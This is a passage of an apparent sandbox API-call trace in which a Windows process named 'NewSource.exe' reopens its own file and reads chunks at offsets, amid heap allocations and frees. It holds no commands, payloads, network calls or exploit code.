dwShareMode=0x3, lpSecurityAttributes=0x9bc51c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1cc [0072.000] GetFileType (hFile=0x1cc) returned 0x1 [0072.000] htonl (hostlong=0x0) returned 0x0 [0072.000] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0x4b000, lpNewFilePointer=0x0, dwMoveMethod=0x9bc7d4 | out: lpNewFilePointer=0x0) returned 1 [0072.001] htonl (hostlong=0xa9000000) returned 0xa9 [0072.001] RtlAllocateHeap (HeapHandle=0x1030000, Flags=0x0, Size=0xa9) returned 0x1052470 [0072.001] htonl (hostlong=0xa9000000) returned 0xa9 [0072.001] RtlAllocateHeap (HeapHandle=0x1030000, Flags=0x0, Size=0x1000) returned 0x1058628 [0072.001] ReadFile (in: hFile=0x1cc, lpBuffer=0x1058628, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x9bc75c, lpOverlapped=0x0 | out: lpBuffer=0x1058628*, lpNumberOfBytesRead=0x9bc75c*=0x1000, lpOverlapped=0x0) returned 1 [0072.003] htonl (hostlong=0xea000000) returned 0xea [0072.003] RtlAllocateHeap (HeapHandle=0x1030000, Flags=0x0, Size=0xea) returned 0x1052580 [0072.003] htonl (hostlong=0xa9000000) returned 0xa9 [0072.003] htonl (hostlong=0xea000000) returned 0xea [0072.003] RtlAllocateHeap (HeapHandle=0x1030000, Flags=0x0, Size=0x1bcc) returned 0x1059630 [0072.004] HeapFree (in: hHeap=0x1030000, dwFlags=0x0, lpMem=0x1059630 | out: hHeap=0x1030000) returned 1 [0072.004] HeapFree (in: hHeap=0x1030000, dwFlags=0x0, lpMem=0x1052470 | out: hHeap=0x1030000) returned 1 [0072.004] HeapFree (in: hHeap=0x1030000, dwFlags=0x0, lpMem=0x1058628 | out: hHeap=0x1030000) returned 1 [0072.004] CloseHandle (hObject=0x1cc) returned 1 [0072.004] htonl (hostlong=0xea000000) returned 0xea [0072.004] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a1fe58 [0072.004] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a1fe58, Size=0x20) returned 0x2a1f948 [0072.005] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1f948 | out: hHeap=0x2ad0000) returned 1 [0072.005] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2a1fe58 [0072.005] CreateEventA (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x1cc [0072.005] GetCurrentThreadId () returned 0x9b0 [0072.005] GetCurrentThreadId () returned 0x9b0 [0072.005] GetCurrentThreadId () returned 0x9b0 [0072.006] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a2c970 [0072.006] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a29bb0 [0072.006] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a2cf40 [0072.006] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a2cf40 | out: hHeap=0x2ad0000) returned 1 [0072.006] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x2a2a790 [0072.006] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x50d) returned 0x2a2cf40 [0072.006] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x2a2a608 [0072.007] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2ad64e8 [0072.007] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a1fcd8 [0072.007] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a1fd98 [0072.007] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2ad64b8 [0072.007] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2ad6448 [0072.007] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ad64b8, Size=0x14) returned 0x2ad14e0 [0072.007] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad6448 | out: hHeap=0x2ad0000) returned 1 [0072.007] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1fd98 | out: hHeap=0x2ad0000) returned 1 [0072.007] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1fcd8 | out: hHeap=0x2ad0000) returned 1 [0072.007] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad64e8 | out: hHeap=0x2ad0000) returned 1 [0072.007] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad14e0 | out: hHeap=0x2ad0000) returned 1 [0072.007] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2ad6468 [0072.007] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x18) returned 0x2ad14e0 [0072.008] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a1fcd8 [0072.008] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2ad6518 [0072.008] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2ad64b8 [0072.008] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ad6518, Size=0x14) returned 0x2a1fc50 [0072.008] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad64b8 | out: hHeap=0x2ad0000) returned 1 [0072.008] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1fcd8 | out: hHeap=0x2ad0000) returned 1 [0072.008] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad14e0 | out: hHeap=0x2ad0000) returned 1 [0072.008] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad6468 | out: hHeap=0x2ad0000) returned 1 [0072.008] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x40000) returned 0x2a2d458 [0072.009] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1fc50 | out: hHeap=0x2ad0000) returned 1 [0072.009] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x2a2aaa0 [0072.009] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a29bb0 | out: hHeap=0x2ad0000) returned 1 [0072.009] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a2c970 | out: hHeap=0x2ad0000) returned 1 [0072.009] GetCurrentThreadId () returned 0x9b0 [0072.009] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x38) returned 0x2a2c970 [0072.009] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x2a2a2f8 [0072.010] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a2c970 | out: hHeap=0x2ad0000) returned 1 [0072.010] GetCurrentThreadId () returned 0x9b0 [0072.010] GetCurrentThreadId () returned 0x9b0 [0072.010] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a2c970 [0072.010] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a2c970 | out: hHeap=0x2ad0000) returned 1 [0072.010] GetCurrentThreadId () returned 0x9b0 [0072.010] GetCurrentThreadId () returned 0x9b0 [0072.010] GetCurrentThreadId () returned 0x9b0 [0072.010] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a2c970 [0072.010] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a2c970 | out: hHeap=0x2ad0000) returned 1 [0072.010] GetCurrentThreadId () returned 0x9b0 [0072.010] HeapFree (in: hHeap=0x1030000, dwFlags=0x0, lpMem=0x1052580 | out: hHeap=0x1030000) returned 1 [0072.010] htonl (hostlong=0x20000000) returned 0x20 [0072.010] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x103fdb8, cbMultiByte=-1, lpWideCharStr=0x9bc678, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0072.010] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x9bc664, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0072.010] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bc51c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1d0 [0072.010] GetFileType (hFile=0x1d0) returned 0x1 [0072.011] htonl (hostlong=0xa9000000) returned 0xa9 [0072.011] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x4b0a9, lpNewFilePointer=0x0, dwMoveMethod=0x9bc7d4 | out: lpNewFilePointer=0x0) returned 1 [0072.011] htonl (hostlong=0x6b040000) returned 0x46b [0072.011] RtlAllocateHeap (HeapHandle=0x1030000, Flags=0x0, Size=0x46b) returned 0x1058628 [0072.011] htonl (hostlong=0x6b040000) returned 0x46b [0072.011] RtlAllocateHeap (HeapHandle=0x1030000, Flags=0x0, Size=0x1000) returned 0x1058aa0 [0072.011] ReadFile (in: hFile=0x1d0, lpBuffer=0x1058aa0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x9bc75c, lpOverlapped=0x0 | out: lpBuffer=0x1058aa0*, lpNumberOfBytesRead=0x9bc75c*=0x1000, lpOverlapped=0x0) returned 1 [0072.011] htonl (hostlong=0xb0090000) returned 0x9b0 [0072.011] RtlAllocateHeap (HeapHandle=0x1030000, Flags=0x0, Size=0x9b0) returned 0x1059aa8 [0072.011] htonl (hostlong=0x6b040000) returned 0x46b [0072.011] htonl (hostlong=0xb0090000) returned 0x9b0 [0072.011] RtlAllocateHeap (HeapHandle=0x1030000, Flags=0x0, Size=0x1bcc) returned 0x105a460 [0072.011] HeapFree (in: hHeap=0x1030000, dwFlags=0x0, lpMem=0x105a460 | out: hHeap=0x1030000) returned 1 [0072.011] HeapFree (in: hHeap=0x1030000, dwFlags=0x0, lpMem=0x1058628 | out: hHeap=0x1030000) returned 1 [0072.011] HeapFree (in: hHeap=0x1030000, dwFlags=0x0, lpMem=0x1058aa0 | out: hHeap=0x1030000) returned 1 [0072.011] CloseHandle (hObject=0x1d0) returned 1 [0072.012] htonl (hostlong=0xb0090000) returned 0x9b0 [0072.012] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x9bd) returned 0x2a6d460 [0072.012] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a1fdf8 [0072.012] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a1fdf8, Size=0x20) returned 0x2a1f9c0 [0072.012] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a1f9c0, Size=0x40) returned 0x2a2c970 [0072.012] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a2c970, Size=0x64) returned 0x2a2c970 [0072.012] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a2c970, Size=0x8c) returned 0x2a2c970 [0072.012] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a2c970, Size=0xb8) returned 0x2a2c970 [0072.012] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a2c970 | out: hHeap=0x2ad0000) returned 1 [0072.012] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a6d460 | out: hHeap=0x2ad0000) returned 1 [0072.012] GetCurrentThreadId () returned 0x9b0 [0072.012] GetCurrentThreadId () returned 0x9b0 [0072.012] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a2c970 [0072.012] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a2c970 | out: hHeap=0x2ad0000) returned 1 [0072.012] GetCurrentThreadId () returned 0x9b0 [0072.012] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x2a2bd00 [0072.012] GetCurrentThreadId () returned 0x9b0 [0072.012] GetCurrentThreadId () returned 0x9b0 [0072.012] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a2c970 [0072.012] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a29bb0 [0072.012] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a6d460 [0072.012] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a6d460 | out: hHeap=0x2ad0000) returned 1 [0072.013] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x2a2a480 [0072.013] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x600) returned 0x2a269d0 [0072.013] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a2a480 | out: hHeap=0x2ad0000) returned 1 [0072.013] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x2a2a480 [0072.013] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x600) returned 0x2a25dc0 [0072.013] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a2a480 | out: hHeap=0x2ad0000) returned 1 [0072.014] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xdc) returned 0x2a6d460 [0072.014] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x2a2a480 [0072.014] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x600) returned 0x2a24ba8 [0072.014] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a2a480 | out: hHeap=0x2ad0000) returned 1 [0072.014] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2ad6468 [0072.014] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a1fdf8 [0072.014] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a1fcd8 [0072.014] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2ad6568 [0072.014] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2ad6478 [0072.014] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ad6568, Size=0x14) returned 0x2ad14e0 [0072.014] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad6478 | out: hHeap=0x2ad0000) returned 1 [0072.014] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1fcd8 | out: hHeap=0x2ad0000) returned 1 [0072.014] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1fdf8 | out: hHeap=0x2ad0000) returned 1 [0072.014] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad6468 | out: hHeap=0x2ad0000) returned 1 [0072.014] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad14e0 | out: hHeap=0x2ad0000) returned 1 [0072.014] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2adede0, Size=0x120) returned 0x2a6d548 [0072.014] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xdc) returned 0x2adede0 [0072.014] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x2a2b3d0 [0072.014] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x600) returned 0x2a23f98 [0072.014] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a2b3d0 | out: hHeap=0x2ad0000) returned 1 [0072.014] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2ad6588 [0072.014] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a1fdf8 [0072.015] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a1fca8 [0072.015] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2ad6468 [0072.015] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2ad6478 [0072.015] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ad6468, Size=0x14) returned 0x2ad14e0 [0072.015] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad6478 | out: hHeap=0x2ad0000) returned 1 [0072.015] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1fca8 | out: hHeap=0x2ad0000) returned 1 [0072.015] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1fdf8 | out: hHeap=0x2ad0000) returned 1 [0072.015] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad6588 | out: hHeap=0x2ad0000) returned 1 [0072.015] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad14e0 | out: hHeap=0x2ad0000) returned 1 [0072.015] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc00) returned 0x2a6d670 [0072.015] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a29bb0 | out: hHeap=0x2ad0000) returned 1 [0072.015] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a2c970 | out: hHeap=0x2ad0000) returned 1 [0072.015] GetCurrentThreadId () returned 0x9b0 [0072.015] GetCurrentThreadId () returned 0x9b0 [0072.015] GetCurrentThreadId () returned 0x9b0 [0072.015] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a2c970 [0072.015] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a2c970 | out: hHeap=0x2ad0000) returned 1 [0072.015] GetCurrentThreadId () returned 0x9b0 [0072.016] HeapFree (in: hHeap=0x1030000, dwFlags=0x0, lpMem=0x1059aa8 | out: hHeap=0x1030000) returned 1 [0072.016] htonl (hostlong=0x30000000) returned 0x30 [0072.016] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x103fdb8, cbMultiByte=-1, lpWideCharStr=0x9bc678, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0072.016] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x9bc664, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0072.016] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bc51c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1d0 [0072.016] GetFileType (hFile=0x1d0) returned 0x1 [0072.016] htonl (hostlong=0x14050000) returned 0x514 [0072.016] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x4b514, lpNewFilePointer=0x0, dwMoveMethod=0x9bc7d4 | out: lpNewFilePointer=0x0) returned 1 [0072.016] htonl (hostlong=0x1d110000) returned 0x111d [0072.016] RtlAllocateHeap (HeapHandle=0x1030000, Flags=0x0, Size=0x111d) returned 0x1058628 [0072.016] htonl (hostlong=0x1d110000) returned 0x111d [0072.016] ReadFile (in: hFile=0x1d0, lpBuffer=0x1058628, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x9bc7b8, lpOverlapped=0x0 | out: lpBuffer=0x1058628*, lpNumberOfBytesRead=0x9bc7b8*=0x1000, lpOverlapped=0x0) returned 1 [0072.016] RtlAllocateHeap (HeapHandle=0x1030000, Flags=0x0, Size=0x1000) returned 0x1059750 [0072.017] ReadFile (in: hFile=0x1d0, lpBuffer=0x1059750, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x9bc75c, lpOverlapped=0x0 | out: lpBuffer=0x1059750*, lpNumberOfBytesRead=0x9bc75c*=0x1000, lpOverlapped=0x0) returned 1 [0072.017] htonl (hostlong=0xcd2d0000) returned 0x2dcd [0072.017] RtlAllocateHeap (HeapHandle=0x1030000, Flags=0x0, Size=0x2dcd) returned 0x105a758 [0072.017] htonl (hostlong=0x1d110000) returned 0x111d [0072.017] htonl (hostlong=0xcd2d0000) returned 0x2dcd [0072.017] RtlAllocateHeap (HeapHandle=0x1030000, Flags=0x0, Size=0x1bcc) returned 0x105d530 [0072.017] HeapFree (in: hHeap=0x1030000, dwFlags=0x0, lpMem=0x105d530 | out: hHeap=0x1030000) returned 1 [0072.017] HeapFree (in: hHeap=0x1030000, dwFlags=0x0, lpMem=0x1058628 | out: hHeap=0x1030000) returned 1 [0072.017] HeapFree (in: hHeap=0x1030000, dwFlags=0x0, lpMem=0x1059750 | out: hHeap=0x1030000) returned 1 [0072.017] CloseHandle (hObject=0x1d0) returned 1 [0072.017] htonl (hostlong=0xcd2d0000) returned 0x2dcd [0072.018] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x2dda) returned 0x2a6e278 [0072.018] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a1fd50 [0072.018] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a1fd50, Size=0x20) returned 0x2a1f8a8 [0072.018] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a1f8a8, Size=0x40) returned 0x2a2c970 [0072.018] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a2c970, Size=0x64) returned 0x2a2c970 [0072.018] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a2c970, Size=0x8c) returned 0x2a2c970 [0072.018] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a2c970, Size=0xb8) returned 0x2a2c970 [0072.018] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a2c970, Size=0xe8) returned 0x2a2c970 [0072.019] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a2c970, Size=0x120) returned 0x2a29bb0 [0072.019] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x23f) returned 0x2a71060 [0072.019] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a29bb0, Size=0x160) returned 0x2a29bb0 [0072.019] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a29bb0, Size=0x1a8) returned 0x2a712a8 [0072.019] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a712a8, Size=0x1f8) returned 0x2a712a8 [0072.019] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a712a8 | out: hHeap=0x2ad0000) returned 1 [0072.019] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a6e278 | out: hHeap=0x2ad0000) returned 1 [0072.019] GetCurrentThreadId () returned 0x9b0 [0072.019] GetCurrentThreadId () returned 0x9b0 [0072.019] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a2c970 [0072.019] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a2c970 | out: hHeap=0x2ad0000) returned 1 [0072.019] GetCurrentThreadId () returned 0x9b0 [0072.019] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x2a2a480 [0072.019] GetCurrentThreadId () returned 0x9b0 [0072.019] GetCurrentThreadId () returned 0x9b0 [0072.019] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a2c970 [0072.019] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a2c970 | out: hHeap=0x2ad0000) returned 1 [0072.019] GetCurrentThreadId () returned 0x9b0 [0072.019] GetCurrentThreadId () returned 0x9b0 [0072.019] GetCurrentThreadId () returned 0x9b0 [0072.019] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a2c970 [0072.019] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a2c970 | out: hHeap=0x2ad0000) returned 1 [0072.020] GetCurrentThreadId () returned 0x9b0 [0072.020] GetCurrentThreadId () returned 0x9b0 [0072.020] GetCurrentThreadId () returned 0x9b0 [0072.020] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a2c970 [0072.020] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a29bb0 [0072.020] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a712a8 [0072.020] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a712a8 | out: hHeap=0x2ad0000) returned 1 [0072.020] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x2a2ac28 [0072.020] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x2a2) returned 0x2a712a8 [0072.020] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2ad6488 [0072.020] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x18) returned 0x2ad14e0 [0072.020] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a1fdf8 [0072.020] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2ad6468 [0072.021] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2ad65c8 [0072.021] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ad6468, Size=0x14) returned 0x2a718e0 [0072.021] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad65c8 | out: hHeap=0x2ad0000) returned 1 [0072.021] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1fdf8 | out: hHeap=0x2ad0000) returned 1 [0072.021] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad14e0 | out: hHeap=0x2ad0000) returned 1 [0072.021] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad6488 | out: hHeap=0x2ad0000) returned 1 [0072.021] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a718e0 | out: hHeap=0x2ad0000) returned 1 [0072.021] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ad0538, Size=0x20) returned 0x2ad0538 [0072.021] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x600) returned 0x2a26fd8 [0072.021] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a2ac28 | out: hHeap=0x2ad0000) returned 1 [0072.021] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2a1fca8 [0072.021] CreateEventA (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x1d0 [0072.021] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x300) returned 0x2a71960 [0072.021] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a29bb0 | out: hHeap=0x2ad0000) returned 1 [0072.021] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a2c970 | out: hHeap=0x2ad0000) returned 1 [0072.021] GetCurrentThreadId () returned 0x9b0 [0072.021] GetCurrentThreadId () returned 0x9b0 [0072.021] GetCurrentThreadId () returned 0x9b0 [0072.021] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a2c970 [0072.021] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a29bb0 [0072.021] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a71c68 [0072.021] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a71c68 | out: 